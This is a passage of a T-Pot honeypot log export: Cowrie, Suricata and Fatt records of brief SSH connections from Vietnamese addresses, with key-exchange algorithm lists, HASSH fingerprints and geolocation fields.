"ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6dce4502b646", "@version": "1", "timestamp": "2021-09-20T11:08:32.133722Z", "@timestamp": "2021-09-20T11:08:32.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24182	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:32.32445+03	2021-09-20 14:15:08.4505+03	{"_id": "zwbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4f6638352544", "@version": "1", "duration": 3.543795347213745, "timestamp": "2021-09-20T11:08:32.324450Z", "@timestamp": "2021-09-20T11:08:32.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24183	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:32.052438+03	2021-09-20 14:15:08.4515+03	{"_id": "0AbkAnwBvYTbRNuEqxHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 825531028166152, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44598, "dest_port": 22, "timestamp": "2021-09-20T11:08:32.052438Z", "@timestamp": "2021-09-20T11:08:32.052Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24184	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:32.133092+03	2021-09-20 14:15:08.4525+03	{"_id": "0wbkAnwBvYTbRNuErBGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43756, "dest_port": 22, "timestamp": "2021-09-20T11:08:32.133092", "@timestamp": "2021-09-20T11:08:32.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24185	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:33.161048+03	2021-09-20 14:15:08.454505+03	{"_id": "8gbkAnwBvYTbRNuErxGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2126764384996672, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56106, "dest_port": 22, "timestamp": "2021-09-20T11:08:33.161048Z", "@timestamp": "2021-09-20T11:08:33.161Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24186	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:33.16131+03	2021-09-20 14:15:08.455473+03	{"_id": "9AbkAnwBvYTbRNuEsBGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56106, "timestamp": "2021-09-20T11:08:33.161310", "@timestamp": "2021-09-20T11:08:33.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24187	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:34.027253+03	2021-09-20 14:15:08.457507+03	{"_id": "9QbkAnwBvYTbRNuEsBGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58566, "timestamp": "2021-09-20T11:08:34.027253", "@timestamp": "2021-09-20T11:08:34.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24188	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:33.725447+03	2021-09-20 14:15:08.459501+03	{"_id": "9wbkAnwBvYTbRNuEsBGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40748, "dest_port": 22, "timestamp": "2021-09-20T11:08:33.725447", "@timestamp": "2021-09-20T11:08:33.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24189	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.445743+03	2021-09-20 14:15:08.460472+03	{"_id": "-QbkAnwBvYTbRNuEsRFB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40748 (192.168.176.2:22) [session: c12798484fe7]", "session": "c12798484fe7", "@version": "1", "protocol": "ssh", "src_port": 40748, "dest_port": 22, "timestamp": "2021-09-20T11:08:33.445743Z", "@timestamp": "2021-09-20T11:08:33.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24190	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:34.023692+03	2021-09-20 14:15:08.462503+03	{"_id": "-gbkAnwBvYTbRNuEsRFB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:58566 (192.168.176.2:22) [session: 572775a3daac]", "session": "572775a3daac", "@version": "1", "protocol": "ssh", "src_port": 58566, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.023692Z", "@timestamp": "2021-09-20T11:08:34.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24193	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:33.529319+03	2021-09-20 14:15:08.466505+03	{"_id": "BwbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "1113f6e169c1", "@version": "1", "duration": 3.0319173336029053, "timestamp": "2021-09-20T11:08:33.529319Z", "@timestamp": "2021-09-20T11:08:33.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24194	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.602975+03	2021-09-20 14:15:08.467502+03	{"_id": "CAbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 